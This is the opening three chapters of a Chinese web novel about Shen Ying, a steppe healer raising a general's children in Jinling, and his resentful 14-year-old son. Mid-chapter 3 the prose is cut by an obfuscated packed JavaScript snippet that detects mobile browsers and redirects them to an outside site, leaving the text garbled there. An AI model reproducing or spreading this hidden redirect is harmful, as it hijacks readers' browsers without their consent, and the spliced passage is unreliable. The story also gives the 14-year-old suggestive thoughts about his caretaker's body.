《阿姆为妻》 1. 第 1 章 初夏,日头不算毒辣,陈锦时手上提着刚得的一只“碧眼将军”得意归来,袍较带风走得飞快。 “爷,你慢些走。”身后旺儿提着书箱,紧着追赶。 陈锦时穿过游廊,指着手上精巧的泥金笼子:“你快些,我要拿给阿姆瞧。” 笼子里的“碧眼将军”正开牙亮翅,神气得很。 旺儿揩了揩额上的汗:“不过一只蝈蝈罢了,沈姑娘这些天忙着呢,爷不如先回房里换身衣裳,用些点心再过去。” 陈锦时十四五岁模样,身量已显欣长,眉眼生得锋锐,此时一凛目:“她忙什么?不过是柜上的事情。你瞧瞧它这声气儿,阿姆见了保管喜欢。” 旺儿又揩了揩汗,心里头暗忖,沈姑娘不嫌他不务正业便罢了。 主仆二人沿着游廊行去,绕过一道粉壁,便是连接东西两处大院的穿堂。穿堂风过,带着些微凉意。 陈锦时倚在墙根站住了,旺儿取过片芭蕉叶给他扇着,顺道往园子里瞥了一眼:“哟,老爷和大少爷都在园子里呢。” 陈锦时扭头看去,只见父亲与沈樱对面坐着,他哥陈锦行站在沈樱跟前,手内捏着账本,正说着话。 陈锦行大他四岁,自老太爷手里接过家里几处药铺照管。 陈家祖业原是行医,独出了他们父亲陈济川一个武将,老太爷便指望大房这两个,陈锦行和陈锦时,别学他们父亲,好好学医承袭祖业。 陈锦行自小便在医道上颇有天赋,得老太爷亲自教导,幼时处境比陈锦时要好上许多,性子也被养得要温厚得多。 陈锦时却是个不服管束的,陈济川倒也不勉强他从医:“你哥习医,你便从文,走科举路也是好的。” 好在陈锦时在读书作文上头倒有些天赋,陈济川便送他去了金陵最好的明道书院求学。 “这个时辰,老二该回来了。” 陈济川望了望日头,对沈樱道。 沈樱没接话,只拿着账本核过本月大房生意的进项,叫陈锦行仔细收妥。 “花市大街那间铺子,往来百姓多,你须多上心。” 陈锦行收了账册,颔首应道:“阿姆放心,我每日都去坐诊,也好长些经验。” “你如今开的方子,须经三位老大夫看过都说妥当,方才算数。等拟满百张,才可独自应诊。” “我记下了,定当尽心,不负阿姆叮嘱。” 陈锦行对沈樱素来恭敬。 其实沈樱进陈家时,他已十来岁,又常被祖父叫去跟前教导,家中兄妹三个里头,他是最不需要得到沈樱照拂的。 但对方既是父亲带回的人,又在医术上另有专精,待他亦师亦母,他尊着敬着,原也不费什么力气。 两人说罢,沈樱才回陈济川:“是,这个时辰,时哥儿该回了。” 说着,她往园子外望了望,稍微听听动静,没见着像有人回来的样子。 陈锦时在墙后听着,顿时挺了挺胸膛,提着笼子便要出去。 “时哥儿不好管教吧。” 他刚抬步的腿缩了回去,依旧隐在墙后。 沈樱尚未开口,陈济川又道:“这三年真是辛苦你了,三个孩子里头,最让你费神的就是他了。” 沈樱微微摇头,望向陈济川的眼眸里,藏着几分真切的仰慕:“将军千万别这么说。” 时哥儿也有好的时候。 如今他长大了,令她头疼的时候少多了。 陈济川将她的手拉过,拢在掌心,重重攥住:“你对陈家有大恩,我都记在心里。都兰,我恐怕……” 说到末了,陈济川的声音渐渐低下去,陈锦时听不真切。他只瞧见沈樱伸手捂住了父亲的嘴,随后轻轻摇了摇头。 “将军,我做的这些,实在算不得什么,不过是照顾三个孩子罢了。要不是将军,都兰和家人早已没了性命……将军会长命百岁的。” 都兰一家原是草原上游医,世代如此。三年前,大陵与北元一场战事里,她父兄从战场上抬回毡帐一位奄奄一息的大陵士兵。 在她与家人看来,治病救人原不分敌国疆界,何况他们游走在两国边缘,跟着部族迁徙,本就没有分明的国别归属。 更没料到,救了这人,竟让全家被北元将领巴图指为叛党。 巴图原是打了败仗,想拿人泄愤罢了。 幸而陈将军的铁骑来得快。那时都兰望着悬而将落的砍头刀,满心绝望之际,又见那刀被陈济川的弓箭射飞。 继而她转头,以俯身跪地的姿态,双手还被绳索缚在身后,看见了那位……高大,威猛,如神兵天降的男子。 甲胄映着日光,锋芒耀目。那人救了她,要放她与家人归家。 彼时她十九岁。 她很难界定那种情愫,只知那道身影会在她心里烙印一辈子,再也抹不去。 因而她拦下了他的兵马:“求将军带我走。” 陈济川面容俊朗,是从医药世家出身的儒将,若不是常年风沙蚀了皮肤,手掌因生茧而粗厚,倒真像个文人。 他笑问:“你家在此地,你为何要随我走?” “都兰要报恩!” 她言之凿凿,半句不提私心。 陈济川看出了她眼中的仰慕。 他丧妻多年,手下中已有不少人劝他,事情未尝没有另一条路可走。 比如……接纳她的“以身相许”。 英雄救美人的戏码,毕竟是老生常谈。 陈济川却不这么想。他对亡妻情分深重,这辈子断不会再接纳旁人。 但他心里,也藏着几分私心。 “你懂医术?” 都兰点头:“我家世代在草原游医,比不得中原正统,会些偏门偏方。” 陈济川道:“有时偏门斜方反倒最是管用。我家有个小儿,自小患喘症,不瞒姑娘,我家原也世代从医,却治不好他。姑娘若是愿意,可随我回去,瞧瞧他的病症。另外,我家两子一女,皆失母无人照料……” 都兰听得又惊又喜,没想到将军真的愿意带她走。 “只是,都兰,我能给你什么呢?” 都兰只摇头。她什么都不要,她只要跟着心里仰慕的人走,陪着他,望着他便好。 那时恰逢大陵国边上这座名叫察布的小城樱花盛放,陈济川为她起了个汉名,唤作沈樱。她母亲原是汉人,姓沈。 思绪回拢,沈樱望着眼前人,这三年,将军着实老了好多。 陈济川也总说起亏待了她,叫她把大好年华都耽误给了时哥儿。 沈樱却不这么想:“在我们部族,从我如今的年龄往后,才叫正经的大好年华呢。” 她今年二十二岁。 她也早就想明白了,仰慕只是仰慕而已。 “时哥儿的事,还望你多费心,务必要叫他好好读书。这个家里也只有你劝得动他了。” “将军放心。” 两人的手还握着,那是一种踏实而有力量的触感。沈樱望着他的眼神,绵密而柔和,只要对方在,纵是他老了,虚弱了,壮实的筋骨逐渐衰了,她那如春风一般的目光也会一直轻轻绕着他。 “起风了,我给将军取条毯子盖上,往树荫里转转去吧。” 陈锦时收回眼,手上提着的‘碧眼将军’已经蔫了,明明精神了一整个下午的。 他眸光暗了又暗,看着蝈蝈,说不出的沮丧。又见旺儿手上提着的笔囊,怒火猛地窜上来,一把夺过,扔在地上狠狠踩了两脚。 “我再也不要那女人给我做的任何东西!” 旺儿摸不着头脑,二爷这又是犯什么拧巴。 “爷,今儿学堂里那几个人夸你笔套好看,做得精致,你不还乐呵着呢么?” 陈锦时脸上稚气未脱,眉宇间的神采却已压不住,眼神里天生带着矜傲,此时大步流星往前去,袍角扫得风响。 “那是爷先前蠢如豚犬,被她那点小伎俩哄得团团转!” 旺儿连忙捡了笔囊跟上去:“爷,往哪儿去?前些日子沈姑娘刚立的规矩,每日到家,首先得到她跟前请安去……” 旺儿原预备着碰一鼻子灰,再絮絮劝几句,不意他家小爷猛地打了个转,袍角一旋,竟往汀兰园去了。 沈樱正在屋内做针线,她想着,夏天快到了,给时哥儿做双轻薄些的新鞋面。 这些年,冬给他添衣,秋给他添饭,照顾他,已成了习惯。 陈锦时在她房门外站定,略敛了敛衣襟,微微躬下身子,屈指在门上叩了两下。 沈樱放下手里伙计,知他这是下学回来了。 “阿姆,是我。” 她挪步到门边,拔了门闩, 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听闻北元那边的女人,身姿比汉人要高健许多,丰润修长,眼窝深邃,睫毛也纤长,肤色带着玛瑙一样的润光。 沈樱这女人大体也是这长相,只是肤色莹白些,不似那般麦色,许是因她身上还有一半汉人血统的缘故。 沈樱一时没言语,瞥见了他掖在书箱角上的笔囊,脏兮兮的,灰溜溜的,被他故意毁坏了。 她只作未见,问他:“今日与同窗论学,可有争执?” 陈锦时摇头。 她把书本还给他,便要阖门让他回去。 陈锦时伸手抵着门板,故意将那截坏了的笔囊露出来。 “阿姆,你们三个今天在园子里,说些什么呢?” 沈樱仍要关门:“家里的事,还不劳你挂心。” 他反手撑住门,似笑非笑道:“是不是柜上出什么事了?阿姆,陈锦行没我机灵,要是有事,你跟我说。” 她没搭理他,他要抵门便让他抵着。 她松手,转身往屋内走,扬声把管家陈兴媳妇叫来:“把二爷的药端来。” 陈兴媳妇应了“是”。 她往凳子上一坐,陈锦时顺势跟进来,抬头张望。 “小孩子别乱看,也别打听那么多。” 陈锦时伸手抵着门板,故意将那截坏了的笔囊露出来。 不知打什么时候开始,这女人再也不许他进她内屋,上她的床。 谁稀罕。 “我不是小孩子了。” 沈樱站起身,比他高出一个头来,他顿时泄了气。 她要进屏风里,他脚刚抬,便被她眼神钉在原地。 “你还要做什么?回你屋读书去,眼看就要院试了,还整日这般吊儿郎当。” 他顿住脚,见她始终不对那笔囊搭腔,索性掏出来往桌上一放:“这个坏了,你再给我做个新的。” 沈樱冷眼瞥过,从荷包里摸出几枚铜板,递给他:“拿去再买一只。” 陈锦时咬了咬牙,理直气壮地命令:“你给我做个新的。” 沈樱索性把银子塞给了旺儿:“给你二爷买个新的去。” 陈锦时气道:“沈樱!” 沈樱含笑不语,又坐下,慢悠悠道:“时哥儿,你年纪也不小了。” 陈锦时不知她要说什么,偏被这话勾得脸上发烫,喉头哽了哽。 不敢再对她嚷嚷。 只是一想起今日她与他父亲那光景,他心里的火气又噌噌冒出来,化为一声冷笑。 “沈樱,你与我爹好事将近,我先恭喜你。” 沈樱瞥他一眼:“胡说什么?陈锦时,你今日最好别发癫。” “我今日都看见了。罢了,你不就是想做我妈吗?这么多年,你终于要如愿以偿了。等往后我叫你一声妈,你岂不是更要对我颐气指使?这么着吧,反正我也反对不了什么,咱们先约法三章。” 沈樱觉得,他如今说起这话来倒是心平气和,只微微有些怪腔怪调。 她好心劝他:“时哥儿,我没想做你妈,但你如果真想叫我妈,我也可以勉为其难地当一当。” 2. 第 2 章 这三年里,两人大小争吵不断,沈樱从没放弃他,皆因陈锦时是将军托付给她的。 便是他再顽劣,再不服管教,她也依旧关怀他、照拂他。 他未曾得到他亲生母亲的关怀和爱怜,那么她原谅他未经教导的无礼。 这是她的报恩,也是她的分寸。 但再多的关怀照拂,也有个限度。 “时哥儿,你长大了,不要再无理取闹。” 陈锦时还欲说些什么。 她静看着他,双眸一剪,眼底像藏着翻涌的浪,不必说话,只在沉默中警告他。 恰在这时,陈兴媳妇端药来。 厅内,沈樱居上首坐了,手肘支在交椅扶手上,身上虽是汉人里未嫁女子的打扮,眉宇间却自有股主母的威严。 陈锦时坐她下首,此时只埋着头。 “陈锦时,喝药吧,喝完回你屋去。” 这三年,他日日喝着她配的药,喘症大有好转。 起初他常发作,偏又爱舞刀弄棍,每到半夜寅时,尤其容易犯病。 沈樱早为他配了药,可那时她刚进府,他压根不信她的好心,只当她是要害死自己的后母。 记得有回他夜里发作得凶,她硬给他灌了半碗苦药,又在他背上几处穴位掐了掐,他喉咙里才总算顺进些新气。 跟着他便打翻了药碗,冲她喊:“滚出去!我便是死在这儿,也与你不相干!” 沈樱完全无视他的无礼,将他拢在怀里细心安抚:“睡吧,睡吧,别生气了。” 生气也会导致喘症发作,沈樱是好心劝他。 陈锦时被她拢圈怀里,本该更加生气的,可唇鼻上的温软触感,一下子令他回到了她刚来的那一日。 那日他与哥哥陈锦行、妹妹陈锦云躲在树根后,父亲凯旋归来,他们本该出去迎接的,却见父亲从马车上又扶下来一个女人。 她站在车辕边,像一株被风从楼烦之地挪到金陵来的沙枣树,眼睛是极亮的,望过来时,带着点漫不经心的打量,却比鹰隼还要刺人。 父亲叫他们几个过去,十一岁的陈锦时没动,十五岁的陈锦行率先迈了步,紧接着五岁的陈锦云也怯生生过去了。 那女人微微俯身,朝他招了招手。他被她的眸子蛊惑,也走了过去,跟着便被她揽进怀里。 陈锦行头在她肩膀上,陈锦云脑袋抵着她小腹,而陈锦时——恰好在她丰满的胸里。 …… 其实他后来受她的照顾最多。 陈锦行长大了有自己的事做,陈锦云有奶娘跟着,沈樱虽能给她一些照顾,但她不需要人多么用心的照顾,她很乖,衣食起居自有下人安顿。 陈锦时却不行,若她不管他,他会死。 她亲眼看着陈锦时把药喝光,然后打发他走。 人走后,沈樱又拿起那半成的鞋面,准备开始做针线,突然想起那个被他故意搞坏的文具套子,她动作顿了顿,起身把鞋面收进柜底深处。 她暂时不打算给他做任何东西了,他已经长大了。 傍晚用过饭,陈兴来找她,说八王爷府里差人来,请大少爷过去看诊。 沈樱蹙着眉头,陈锦行年纪尚轻,医术还不到家,这八王爷府里找谁不好,偏要叫他去? “叫八王府的人移步到二房、三房去请把,老爷子还在呢,什么疑难杂症,非要请大少爷去看?” 陈兴道:“八王府的人说了,指明要咱们大房的人过去看诊。” 既然人家求上门来了,又是皇家亲贵,沈樱不好擅自回绝。 “大少爷医术尚浅,我陪着他往八王府去一趟吧。” 陈兴点头称是:“我这就去请大少爷过来。” 两人略作收拾,便跟随八王府的管事往王府里去了。 陈锦行稍稍落后半步,伸手虚虚扶着她臂弯,搀她上马车:“阿姆慢些。”分寸拿捏得恰到好处,无半分逾矩,却做足了恭敬姿态。 陈锦行年方十八,生得面如冠玉,眼角眉梢带些清疏凉薄气。 沈樱知他与自己不过是些面上情分,奈何做得实在到位。 “待会儿你去看诊,便是有拿不准的,也别在八王府露了怯。拟了方子回来拿给我看,咱们再细琢磨。” 陈锦行垂首称是:“都听阿姆的。” 陈锦时做完功课,沐浴完换了身新衣,正要提刀出去再练几套,他爹的脸乍然在门口出现。 “大晚上的不睡觉,折腾什么呢!” 陈济川虽添了些老态,身体因病痛有些虚弱,声音却仍是中气十足,把陈锦时唬了一跳。 忙把刀往旁边一撂:“爹,儿子找阿姆去。” 陈济川背着手踱进他屋里,左右扫了眼,拣了把椅子坐下。 “你找她做什么?” 陈锦行早过了要她陪着睡觉的年纪,别说夜里过去找她,就连白日也轻易进不得她屋子。 便含糊道:“儿忽然念着阿姆的好,今晚不去道声安寝,便睡不着。” 从前有一阵子,他病得厉害,与沈樱的关系稍缓了些,不至于动辄喊她“滚”,沈樱便夜夜陪着他睡觉。 回回都是她轻拍着他背,等他睡熟了,听着他呼吸平顺而流畅,她才安心合眼。 炕上并排两个被窝,他一个,她一个。 冬日里有一回,她骤然一钻进被窝里,不禁感叹了一句:“什么月份了,被窝里冻得跟冰窖似的。” 陈锦时当时裹在旁边的被窝里,十二岁的年纪正是火炉一样的身子,便撩开自己被角:“阿姆,我给你捂暖和了,你来我这边,我去你那边。” 陈锦时少有这般可爱的时候,大多数时候是个无礼的霸王,可这少有的可爱,也叫沈樱惦念至今,甘愿照顾他至此。 友人这般与她说:“男孩子家,都是调皮的多,可爱的少,可越调皮的孩子,真到了该回报时,越是涌泉相报。” 当时沈樱笑而不语,她来这里是为了报恩,原也不是为了孩子们将来能回报什么。 “你站住,你阿姆跟锦行出去了,不在家里。” 陈锦时顿住脚步,脸色一变:“阿姆跟他做什么去了?” 陈济川道:“你管那么多做什么?眼下最要紧的是好好读书,把院试考过,挣个秀才功名,咱们祖上还没出过一个秀才呢。” 陈锦时不屑地嗤一声:“秀才?嘁!爹,你对儿子的期望就这?” 陈济川指着他鼻子道:“你瞧瞧你吊儿郎当那样,说你能当个秀才都是抬举你。” 陈锦行伸手拉着他爹往外走,脸上满是不耐烦。 “你出去吧你,阿姆都说我将来能当进士,你还是不是我亲爹。” 陈济川笑了两声,嗓音里带着些沧桑,拉开他的手。 “难为你如今张口闭口都是你阿姆,你还记得她刚来那会儿,你整日喊着要赶她走。” 陈锦时捂住耳朵不听。 陈济川又点他:“亏她没错待了你,陈锦时,往后要对你阿姆好些,多学学你哥。” 陈锦时松开耳朵,神色恹恹:“他?假惺惺的样子,我最看不惯了。行了,我同意你娶她了,我保证乖乖喊她‘妈’。” 陈济川脸色一沉。 “谁说我要娶她了?人家好好一年轻姑娘,我一老头子娶她做什么?” 陈锦时皱着眉头抬头:“爹,你不娶她?” “不娶。” “那她何苦来照顾我?” 陈济川嘿嘿一笑:“小子,有这好处你就乖乖受着,她可不会照顾你一辈子。” 陈锦时埋着头,心里翻来覆去地想。既有些后悔前两年那么顶撞她了,更有些害怕她哪日真的离开。 他以为她真要做他妈,便一直理直气壮受她的好,更笃定她不会离开他,这辈子都是他陈家的人。 陈济川与他说了会儿话便离开了,无非是嘱咐他多听他阿姆的话、好好读书。 到了深夜,陈锦时听说阿姆他们回来了,便披了外衣往汀兰园走。 他今晚非得见她一面,也不为说什么,道声安寝也好。 他踱步至院门口,前头三间青瓦房,夜里烛火亮得通透,门都敞着,东间是卧房,西间辟作小书房。 他瞧见大哥和阿姆都在里面,对面坐着,跟前摊着脉案,阿姆眉头微蹙,手里捏着支湖笔,在纸上圈圈画画。 陈锦时心里顿时又窜起股火。他隐约知道自己不该气 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只是不必急于一时,他还需要考虑,最迟明天,他考虑一晚,明天他来告诉她。 陈锦时见他哥深更半夜才从阿姆房里出来,咬了咬牙,趁着沈樱关上院门前,闪身挤了进去。 “沈樱!” 沈樱推着他的肩:“出去!你不睡觉来我这儿做什么?” “阿姆,我来请安。” 沈樱稍稍退后一步,立在门口等他说话。 陈锦时两手揣在胸口,打量她几眼:“你俩刚说什么呢?说了这大半晌。” 他如今的个子只到她肩头,她在金陵算是少见的高大女子。 医书上说男子在十六到十九岁才会窜个儿,这让他有了一些安慰。 沈樱俯视他,倚着门框,老槐树影影绰绰,晚风卷着潮气慢悠悠荡过来,她难得起了些与他闲聊的心思,但仅限于在这儿说。 “在聊一位病人的脉案,锦行拟的方子有些缺漏,我们正琢磨呢。” 陈锦时往上一步,站在石阶上,“嗤”了一声。 “陈锦行就是个半壶水的郎中。” 沈樱微微蹙眉:“锦时,别这样说话,他已经做得很好了,也不怪他学艺不精,这次连我也拿不太准。” 陈锦时又上前一步:“阿姆不妨跟我说说,说不定我有法子。” 沈樱伸手按住他肩头:“别靠上来,就站在那儿说话。” 他肩膀被她一捏,虽说他完全能反抗她压住他的力量,但他没有,乖乖在门外站着了,两人隔着一道门槛。 陈锦时就算不从医,在这样的家里长大,耳濡目染也懂些门道。 沈樱从来不小瞧他,也不会说一些“你懂什么”之类的话,便伴着夜风,慢慢悠悠把脉案的细节和八王府专门找大房过去看诊的缘由与他说了。 “时哥儿有什么想法?” 权当闲聊,她也未曾对他抱有期望。 陈锦时听了那脉案,当真细细琢磨起来,忽然想到什么,瞥了沈樱两眼,笑起来:“阿姆,此案有解。” 沈樱不当他在吹牛或是自以为是,陈锦时向来是很有把握的人。 便问道:“何解?时哥儿快说。” 陈锦时眼珠子转了转,这解法,哥哥肯定也知道,但看阿姆这副模样,陈锦行定是没说。 真亏阿姆自小待他比待自己更温柔,陈锦行那家伙还藏着掖着。 就算是家里的秘方,陈锦时也没有瞒着阿姆的道理。他此时心中暗爽,待他先与阿姆说了,阿姆今后肯定更亲他。 活该,谁叫陈锦行藏着不说。 “阿姆,你凑近些,这事得保密。” 沈樱微微俯下身,把耳朵凑他嘴边。 过了一会儿,她脸色骤变:“时哥儿,这事你不该跟我说。” 她归根结底,在陈家只算是个外人,不过是代为照顾几个孩子而已。 陈锦时却不甚在意地耸耸肩:“阿姆,这个家里没有不能让你知道的事。” 她定定望着他,眉头蹙得很紧,他的眸子里闪着极具掌控感的光。 3. 第 3 章 翌日一早,陈锦时上学前过来请安,沈樱正在院里用早膳。 晨露未晞,院角的石榴开得正盛,红焰焰的花映着青石地。 陈锦云也在,八岁的小姑娘,梳着两个圆滚滚的丫髻,用红绸带扎着,身上穿件水红色的薄袄。 今儿是沈樱亲手给她扎的头,此时把她放在身边一道吃饭。 陈锦云很亲她,一口一个“阿姆”叫得很甜。 沈樱也乐得不叫奶娘们在跟前,亲自照顾她吃饭。 “阿姆多吃些,咦,讨厌的二哥哥来了。” 陈锦时瞪了她一眼,躬身对沈樱请安:“阿姆晨安,我上学去了。” 说罢,他胸膛挺了挺,面上含笑,带着几分得意,分明是等着被夸的模样。 昨晚他与阿姆说了那许多话,她当时看他的眼神都不一样了。 沈樱头也没抬,手上正给陈锦云剥松子吃。 “嗯,知道了,在学堂别惹事,听先生的话。” 陈锦时咬咬牙,颔首:“是。” 转身要走,身后又飘来一句:“早些回来。” “知道了。” 沈樱给陈锦云剥了一把松子,放她手里叫她一颗一颗慢慢吃。 陈锦云往她嘴边送:“阿姆也吃。” 她稍稍侧头避开:“阿姆不吃,你吃。” 陈锦云眼尾垂下来,带着点祈求。沈樱无奈,自己拈了一颗放进嘴里:“阿姆吃了。” 小孩的手最不干净了,喜欢东摸摸西摸摸,吃东西还容易沾上口水,沈樱不太愿意吃她喂的。 到了上午,府里诸事步入正轨。见过陈兴和陈兴媳妇,听他们回了柜上和内院的事,陈锦行便寻过来了。 无非是要接着商量八王府的事情。 沈樱昨晚虽听陈锦时说了事情根源,但她并不打算继续掺手,既然陈锦行也一定知道事情该怎么做,沈樱打算直接退出,只当没听过陈锦时说的话。 她正要说“八王府的事情你自己处理,我就不过问了”,就听陈锦行先道:“阿姆,我有件事情要与你说。” “什么事?” 沈樱坐在椅子上沏茶,原本没想过能从他嘴里把昨晚上那事再听一遍。 “阿姆,八王府之所以专找我们大房过去看诊,为的是大房独有的秘方‘九珍丸’。” 沈樱倒茶的动作一哆嗦,直想扶额叹气。 她没作声,只听陈锦时又絮絮叨叨说起来:“当初我爹虽然从了武,但分家的时候为求公允,该给大房的秘方和铺子一样没少,其中就包括祖上传下来的秘方之一‘九珍丸’。” “我看八王府那位的病症虽复杂,偏合用‘九珍丸’来治,八王府必是从什么地方探得了消息,才特地请我去的。” 沈樱浅浅抿着茶,直想捂住耳朵,她什么话都还没说的,两人一前一后,跟倒豆子似的,把家底给她透了个干净。 “锦行,你与我说这些做什么?你既然知道该怎么医治那位,自去医治便是了。” 陈锦行唇角勾了一下,笑声里带着几分克制的斯文,用温润的声线说着:“此事没什么好瞒阿姆的,阿姆既然知道了,与我一起炮制这枚‘九珍丸’吧。” 话未落,不等沈樱拒绝,他已从袖中取出秘方,摊在她面前。她便是想闭眼也来不及了。 “已禀过父亲,从库房取来的,阿姆原也没什么不能看的。” 沈樱无奈,既然看都看了,再推拒反倒矫情。 方子上写得明白,九珍丸的炮制、配伍、成丸皆有严苛讲究,差一分火候、错一步时序,便失了药效精髓。成药也自然而然是价值连城的珍品。 两人凑在一处,细细商量了许久,从药材的选取,到炮制的步骤,一一对了一遍。 又差人去八王府送信,说此药需三月方能配成,叫他们慢等。 八王府早做了这番准备,得了信儿,便先送了一百两定金过来。 陈锦行刚走,沈樱的好友,安和堂的掌柜苏兰舟便寻来了。 苏兰舟年过二十,未曾嫁人,接手了父母的医馆,两人投契得很,已是两年的朋友了。 沈樱隐晦向她提起这事,苏兰舟道:“我原也觉得你不该知道此事,你为陈家操心得够多了,何苦呢,真到了那时,陈家人未必会念你的好,反倒会当你是图些什么。” 沈樱道:“你说锦行与时哥儿?他们俩不会。” 苏兰舟不提那俩“儿子”,只道:“你该多为自己打算,反正如今陈锦时也大了,不需你太费神,你何不将开医馆的事情提前?先把自己的铺子做起来,省得陈家生意上遇着什么事情,总来找你操心。” 沈樱觉得好友说得在理。等陈锦行娶了媳妇,陈锦时和陈锦云有了嫂子,她自该离开陈家了。虽舍不得将军,可终究不能在陈家待一辈子,这几年的相伴,已让她心满意足。 “我会考虑的。兰舟,多谢你。这几日还要劳你帮我看看有没有合适的铺子,我不好劳动陈家的人帮忙。” 苏兰舟笑道:“包在我身上,你放心便是。” 陈锦时下学回来时,沈樱正与陈济川在园子里闲聊。陈锦云和陈锦行也在一旁坐着。 这几年,沈樱与陈济川早已处成了忘年交,从边境风物到草原旧事,从沙场战事到家常琐碎,总有说不完的话,时而大笑,时而感慨。 “将军说起这个,我还有一件趣事……” 沈樱望着眼前人,从不后悔当年随他离开草原、来到金陵。 陈锦时提着书箱进来,瞧见的便是这一幕。 他心里有些发酸,在这个家里,他从来不是与她最亲近的。 陈锦行在她跟前俯首帖耳,陈锦云常被她抱在腿上黏她亲她,父亲与她常常有说不完的话。唯独他,总被当小孩看。在他如今这个不上不下的年纪,她既不与他谈天说地,也不像小时候那样待他宽容而亲厚。 他真有些讨厌她。 沈樱见他回来了,朝他招手:“时哥儿,过来。晚上要在园子里摆饭,你便在这儿坐下做功课吧。” 说着,她指着一旁单独的小桌,叫他过来坐下。 全家都在,陈锦时这会儿也不好拂袖而去,只得拉着一张脸,闷声道: “你们小声些,别吵我读书。” 沈樱瞥他一眼,陈济川哼笑了一声:“知道了,秀才老爷。” 陈锦时捂住耳朵,瞪向他爹,脸涨得通红。 沈樱瞧他这模样,没忍住“噗嗤”一声笑了出来。 陈锦时顿时又瞪她,她别开眼,没搭理他。 众人一时静了,喝茶的喝茶,用点心的用点心。 园子里只剩陈锦时重重翻书的“唰唰”声。 过了一会儿,陈济川不知又想起什么,朝沈樱倾身过去,轻声与她絮叨了一阵儿。 沈樱听得捂唇“咯咯”发笑,面上小女儿神态尽显。在她仰慕的人面前,她一如既往的是这副模样,笑容软得似蜜。 尽管已在金陵生活三年,她仍然习惯把头顶的头发编成两三缕辫子,串上红玛瑙和绿松石,弯在额前,绕到耳后。 陈锦时本是要瞪眼朝她问罪的,见她这副模样,他略怔了怔,又感到失落,搞了半天,她只有在他面前才是个“母夜叉”,凶得要死。 他自顾自瞪了她几眼,又垂下头,翻书翻得更用力了。 “唰唰”声谁都听得见,沈樱瞧了陈济川一眼,示意他别说话了。全家都配合“秀才老爷”安静了下来。 陈济川轻哼了一声,心里暗忖:这小子做出这么个了不得的样子,到时候要是考不上秀才,他定要把他的屁股打肿。 又过了会儿,陈兴媳妇来禀:“沈姑娘,云锦阁的掌柜把定做的凉帽送来了。” 夏日里容易贪凉,别处还好,头上却不能受风。,沈樱便给一家人都定做了夏日戴的凉帽。 “叫她拿过来吧,赏二钱银子给她便是。” 五顶帽子用托盘呈上来,都用细竹篾编了胎,蒙着各色纱罗。陈济川笑道:“还是你细心,年年都想着给家里人做帽子。” 除了两顶一看就是女式花色的布巾帽,一顶稍显老气花色的统巾帽以外,还剩下两顶,两兄弟一人一顶。 沈樱瞥了一眼陈锦时,把视线挪到陈锦行身上。陈锦行与她对视,稍稍摇头,努嘴往陈锦时那方点了点下巴。 沈樱便又看向陈锦时,那人却不抬头,仿佛一心只读圣贤书,半点没听见周遭动静。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16111940|179905||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她便叫了他两声。 “时哥儿,你看看你要哪个花色。” 陈锦时面露烦躁,抬起脸,一脸不耐神情:“我读书的时候你能不能别打岔。” 十四岁少年特有的那种别扭劲儿,瞧着又可气又好笑。 沈樱也不跟他生气,指着两个帽子道:“那这个给锦行,这个留给你。” 陈锦时定睛一看,两顶帽子花色不同,一眼望去分了优劣。 他阿姆的眼光有时候真让人头疼,且不说这瓜皮帽他压根不想戴,但也不能要个丑的。 沈樱正要把自己认为稍稍难看一点的那个递给陈锦行,陈锦时撂下笔:“不行,我要这个。” 沈樱淡淡道:“不行,这个已经给锦行了,你只能要另一个。” 陈锦行瞅了弟弟一眼,微笑着:“阿姆,让弟弟先选吧,我都可以的。” 陈锦时瞪他:“用不着你充好人。” 说着,伸手拿了那个丑的,顺手戴上,旧抹布一样的颜色,阿姆还说叫什么香云纱,好看得很。 他把帽子戴上以后,又气鼓鼓地埋头看书去了。 沈樱无奈,说是说,她做回来的帽子,陈锦时是第一个戴到头上的。 陈锦行看着是对她顺从恭敬,她从没见他戴过她做回来的帽子。 她从前问他为什么不戴,陈锦行只说没找着机会戴,之后一定戴,可始终没戴。 陈锦时一边说“阿姆你做得帽子真的好丑,好难看,我不好意思戴到学堂去,你可别怪我”又一边戴着帽子在她跟前晃来晃去。 她正暗自怀疑自己眼光是不是真的差,陈济川见她神色,扯了扯她的手臂,拿起那顶更显老气的帽子戴上,哄她道:“你看本将军戴这个,好不好看? 沈樱注视他半晌,缓缓露出一言难尽的表情:“将军,你老了。” 陈济川虽然四十多岁了,仍是一个儒雅英挺的中年男子,相貌英俊,体格板正。 沈樱一时说不上来是帽子丑,还是人丑。 陈济川摸了摸鼻子,看向别处:“饭来了,先吃饭吧。” 陈锦时晚上回房,把头上的帽子摘下来一扔,还生着闷气。 沈樱总是这样,每次都把更好的给陈锦行,更差的留给他。 他今日实在懒得争辩,如她所愿要了这一顶,改日天天戴到她跟前去晃悠,叫她自责!叫她后悔!叫她巴不得把他揽在怀里哄:“时哥儿,是阿姆不对,早知只有你才这么爱惜,就把更好的那个留给你了,阿姆好后悔啊……” 想着想着,他抱着软枕,幻想那是阿姆的胸脯,像小时候那样,流着哈喇子入睡了。 第二天一早,他顶着这顶帽子去她面前请安。 又是神采奕奕,挺直胸膛的模样,浑身都在说:“阿姆,阿姆夸我,阿姆快夸我。” 沈樱瞥了眼他头上的帽子,微微笑了一下:“去上学吧,路上慢些。” 没从她嘴里听到想听的,陈锦时一把摘下帽子,歪着嘴没好气道:“阿姆,别怪我心狠,去书院前,这帽子我得先摘下来,原因你也知道。” 沈樱这才抬起头来直视他,憋着笑道:“随便你。” 她语气冷淡,她总是这样,让陈锦时想在她面前耍赖犯浑争取些什么时,总是无功而返。 他叹道:“若是阿姆把好的那个给了我,我肯定就戴着去上学了,让所有同窗都看看。不像哥哥,给了他也从来不戴。” 沈樱意识到有什么不对,缓缓眨着眼道:“时哥儿,你头上那个是最好最贵的呀,阿姆亲自选的花色。” 陈锦时怔住:“阿姆觉得我这顶最好看?” “是啊,怎么了?你不喜欢吗?” 沈樱认真问着他,那神情叫他觉得,他再多说一句不喜欢,这女人会伤心的。 